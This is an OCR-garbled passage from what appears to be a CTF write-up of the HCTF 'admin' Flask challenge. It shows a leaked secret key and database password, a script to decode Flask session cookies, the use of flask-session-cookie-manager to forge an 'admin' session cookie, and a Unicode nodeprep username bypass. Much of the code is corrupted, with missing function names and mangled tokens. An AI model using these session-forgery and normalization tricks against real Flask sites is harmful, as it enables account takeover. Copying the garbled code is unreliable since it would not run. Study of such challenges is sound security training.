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41 <Jdiv
42 | </div>
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45| <!=— you are not admin ——>
46 <hl class="nav Welcome to hotfd/hl>
47
48 | <zcript type="text/javascript’>
49 $(document). ready (function ()
50 J/ E IR T R
51 F$0.ui. drapdown’ ). dropdow ()
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46
47 | <div class="ui grid”>
48 {div class="four wide column”»</div>
49 “div class="eight wide column”>
50 {l=—= https://zithub. com/woads11234/hetf flask/ ——»
51 {form class="ui form segment” method="post” enctype="multipart/form-data”>
52 “div clas=="field required”>
53 {label>NewPasswords/label>
54 Cinput 1d="nempassword” name="newpassword” required type="password” wvalue="">
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56 {input type="submit” clazs="ui button fluid” value="EIRFTIL">
57 </ form?
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include( 'header . html®)

_authenticated %}

sssion[ ‘name'] }}</hl>

r.is_authentic d and session['name'] == 'admin' %}

include( ' footer.html") :
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#E config.py & Bisecret_key
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= 'mysql+pymysql://root:adsl1234@db:3306/test’
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#!/usr/bin/env python3

from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def (payload):
payload, sig = payload.rsplit(b'.", 1)
payload, timestamp = payload.rsplit(b'.', 1)

decompress = False
if payload.startswith(b'."):
payload = payload[1:]

decompress = True

try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '

'an exception')

if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before
'decoding the payload')

return session_json_serializer.loads(payload)

print(decryption(sys.argv[1l].encode()))

.ctf>python hctf-admin.py .eJwIkMGKwkAMh191lydlDHfEieHDRLRYmpRIdkotora3TqQttRTviu-_ggrfA
F74_-Z-wP7dFV8Gsb2_FCPaXE8ye8HWEGaSUNEwLpc2uF jqFeTvG5akRm9RMG6cpcexL pS1WuBQnzfrofjUVqycp7RzGmdINDOjO0aZMUsdtIzHgKnofU7Jy2
PxUaPQixx5CFJuz6ekCTTTBOLNvMoxGHPp-I3VSpkTol_0ODg@fEmcGdTKpXQYg6vEeRde973v3Vx_bygKXsIZYOOVIGIV-myuqAKZ9k8wsCYVhFbnmgfKdnX
ionHfJ-_dZfmUBYFE12_cVv-k-uhCQD6outhBLeuaN-1wTiC1x82JW3q.YKCBAg . pWr5ZLEUhv2mHROGVpXZzIfGUMY

{'_fresh': True, '_id': b'92faB6lede7+a55u7ff2dallel2ecB8623aUlbefbBc19+3795eUd62f25%elbef5Ueb97629ee21a5c2e6352F5F27925d74
bcbU35fe777f4a9+d9f1b540dcb9c986e0', 'csrf_token': b'ldled20auf5688b7d627U4541a1db69376db6a65c', 'image': b'NpMR', 'name'

'test', 'user_id': '10'}
hitps:/iblog.csdn.net/XxyB05
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fii i flask-session-cookie-manager3Jiii A< hin

flask-session-cookie-manager3
A B

>python flask _session_cookie_manager3.py encode -s ckjl123 -t "{' fresh': True, '_id': b'92fa@6lede7fa5547ff2dade
12ec8623a46efb0c1913795e4d621259elbef54eb97629ee21a5c2e635215127925d74bcb435fe777f4a9fd9f1b540dcb9c986e0', 'csrf
token': b'141e420a4f5688b7d6274541a14b69376db6a65c', 'image': b'NpMR', ‘'name': ‘'admin', ‘'user_id': '10'}
.eJw9kMGKwjAQh191yd1DjXgRPLjoFguZUBKNMxdx2902TbpQFW3Ed9 gwt4GvuH7Z_6n0J6H6tKIXXWAVRNXbEuxeIgPb7EQGiNPuUILKHDrGMs7
7KaxLzzbrCHdOYeY01FJZaGDNjv32TmEzZ6tmGg8001wqTyOgc8pkjud-YbOdQ6BRMANTIqsBoBZGChCzwMTdOI1g8hmkmSWbBzDsIBQztrtGG-6
00QdF j@p3kTurszZaMq6V4TURXGC7H609X9F8VKMWFjPmookoS46VeNy3IeJYtEoiMcI0QpbkKheROKw1pSvF1WOF6U139m7D_hH39R _gTjOCCSt
2YiJul2p49yamiXj9AqPybjM.YKDIUgE. tpA@-pkP@jCUHIYjpNbLauQNK3I



https://github.com/noraj/flask-session-cookie-manager
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@app.route(’'/login’', methods = ['GET', 'POST'])

- current_user.is authenticated:
return redirect(url for('index'))
rinForm()

st.method == 'POST':

username=name) . first()
. check password(form.password.data):
flash('Invalid username or password')
redirect(url for('login’))
login user{user, remember=form.remember me.data)
redirect(url for('index

render template('login.html’,

def strlower({username):

username = nodeprep.prepare(username)

N username
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admin = nodeprep.prepare(nodeprep.prepare('APMIN'Y)
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